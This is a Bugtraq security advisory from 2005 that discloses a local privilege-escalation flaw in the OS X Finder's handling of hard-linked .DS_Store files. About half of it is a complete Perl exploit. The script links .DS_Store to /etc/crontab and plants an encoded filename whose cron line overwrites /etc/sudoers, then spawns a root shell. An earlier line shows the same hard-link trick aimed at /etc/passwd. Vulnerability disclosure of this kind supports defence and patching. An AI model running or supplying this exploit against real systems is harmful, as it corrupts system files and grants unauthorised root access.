Date: 7 Feb 2005 07:49:52 -0000
From: Vade 79 <v9@...ehalo.deadpig.org>
To: bugtraq@...urityfocus.com
Subject: [OSX Finder] DS_Store arbitrary file overwrite vulnerability.




HEADER: [OSX Finder] DS_Store arbitrary file overwrite vulnerability.

CONTACT: vade79 -> v9@...ehalo.us (fakehalo/realhalo)

CATEGORY: Local with user intervention.

IMPACT: Privilege escalation.

REFERENCE: http://fakehalo.us/xfinder-ds.pl

BACKGROUND:

The Finder is the application that Mac OS X and earlier versions of the
operating system use to launch and manipulate files and applications.  The
Finder handles all common tasks such as creating, deleting, moving, and
copying files and folders. It is, in effect, the window into the Mac OS X
operating system.

Unlike other tools and utilities, the Finder is always active and is
automatically launched immediately after logging in to the system.  Much
of the Macintosh's legendary ease of use is attributed to the Finder and
its intuitive interface to the file system.


SYNOPSIS:

The Finder utility is prone to a local vulnerability whereby a
(non-privileged) user can create an environment that can cause other users
(including root) to unknowingly arbitrarily overwrite files with (some)
leverage in the content of the data.

The vulnerability exists due to the lack of checking (hard) links with the
.DS_Store file placed in each directory by Finder.  The .DS_Store file
contains attributes about the directory along with the names of the files.
If a user has the ability to place a .DS_Store file in a directory, they
can (hard) link it to a file of there choice.  Then, the user that attempts
to modify the directory (most ways) in Finder, if they have permission,
will write the (new) attributes to the file it has been linked to.


ANALYSIS:

A theoretical example of this would be to go to (or make) a directory you
have access to write to and (hard) link .DS_Store to /etc/passwd(ie.
"ln /etc/passwd .DS_Store").  Then, when and if the user (which must be
root in this case) attempts to modify almost any attribute in the
directory via Finder it will write the changes over /etc/passwd.

Generally the data stored to .DS_Store is not readable, and would only
corrupt a file linked to it.  However, any files or subdirectories in the
directory will be written to the .DS_Store file in unicode(utf8 encoded).
This gains some leverage to attack on two levels; you can use any
character you want("/"'s would be restricted otherwise), and the data
contained in the filename won't appear as common text since it is in
unicode/utf8--it will appear as random japanese-like characters usually.


DEMONSTRATION:

The following demonstrational exploit is intended for root user
intervention.  However, the same method (not the same files used to
overwrite) can be used to gain access to other user accounts.

--- xfinder-ds.pl: start ---

#!/usr/bin/perl
#
# [OSX Finder] DS_Store arbitrary file overwrite exploit. (root version)
#
# vade79 -> v9@...ehalo.us (fakehalo/realhalo)
#
# this will create a directory called "xfinder" in your home directory,
# once the root user has modified that directory using Finder in almost any
# way(such as copying a file out of it, etc) it will write to the .DS_Store
# file in that directory.  the data written to the .DS_Store file will
# consist of the filenames/subdirectories making up the directory and the
# attributes of the directory.
#
# this exploit works by linking the .DS_Store file to /etc/crontab, and
# creating a special unicode(utf8 encoded) file in the directory.  the file
# created in unicode is equal to(in ASCII):
#  '\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n'
#
# this file will display as a japanese-like series of characters and
# is (part of) what is written to the .DS_Store file, which allows for 
# the privilege escalation.  once this line has been written to
# /etc/crontab(along with other .DS_Store data), crontab will overwrite
# /etc/sudoers with "ALL ALL=(ALL) ALL" and you can then sudo to root.
#
# note: this is done through crontab->sudo because sudo will complain
# of the .DS_Store garbage data in the /etc/sudoers file and exit,
# whereas crontab will ignore it.
#
# (sorry for the squished/ugly script, just a precaution for
# wordwrapping)

use encoding utf8;
sub pexit{print("[!] @_.\n");exit(1);}
$testdir="$ENV{HOME}/xfinder";
print("[OSX Finder] DS_Store arbitrary file overwrite exploit.\n\n");
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
 pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
mkdir($testdir)||pexit("Could make the directory \"$testdir\", " .
"make sure it doesn't already exist");
chdir($testdir)||pexit("Could change the directory to \"$testdir\"");
# = "\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n"
open(TOUCH,">" . Encode::encode_utf8(
"\x{0a0a}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{726f}\x{6f74}" .
"\x{2065}\x{6368}\x{6f20}\x{2241}\x{4c4c}\x{2041}\x{4c4c}\x{3d28}" .
"\x{414c}\x{4c29}\x{2041}\x{4c4c}\x{223e}\x{2f65}\x{7463}\x{2f73}" .
"\x{7564}\x{6f65}\x{7273}\x{0a0a}"))||pexit("Could not create " .
"unicode/utf8 encoded filename");
close(TOUCH);
link("/etc/crontab",".DS_Store")||pexit("Could link .DS_Store " .
"to /etc/crontab");
print("[+] Waiting for root user to modify \"$testdir\" with " .
"Finder...\n");
print("[?] (CTRL-C if desired, this script does not need to be " .
"running to work)\n");
@ast=@...stat("/etc/crontab");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
 sleep(1);
 @ast=stat("/etc/crontab");
}
print("[+] /etc/crontab has been modified.\n");
print("[+] Waiting for crontab to change /etc/sudoers...\n");
@ast=@...stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
 sleep(1);
 @ast=stat("/etc/sudoers");
}
print("[+] /etc/sudoers has been modified.\n");
print("[+] Attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);

--- xfinder-ds.pl: end ---


NOTES:

* Soft/symbolic links will not work with this vulnerability, they must be
  hard links.
* Filenames and subdirectories are written in unicode(utf8 encoded) to the
  .DS_Store file by Finder.
* Even if the filename in the directory that contains the arbitrary data is
  deleted, it will be placed into the .DS_Store file.

Powered by blists - more mailing lists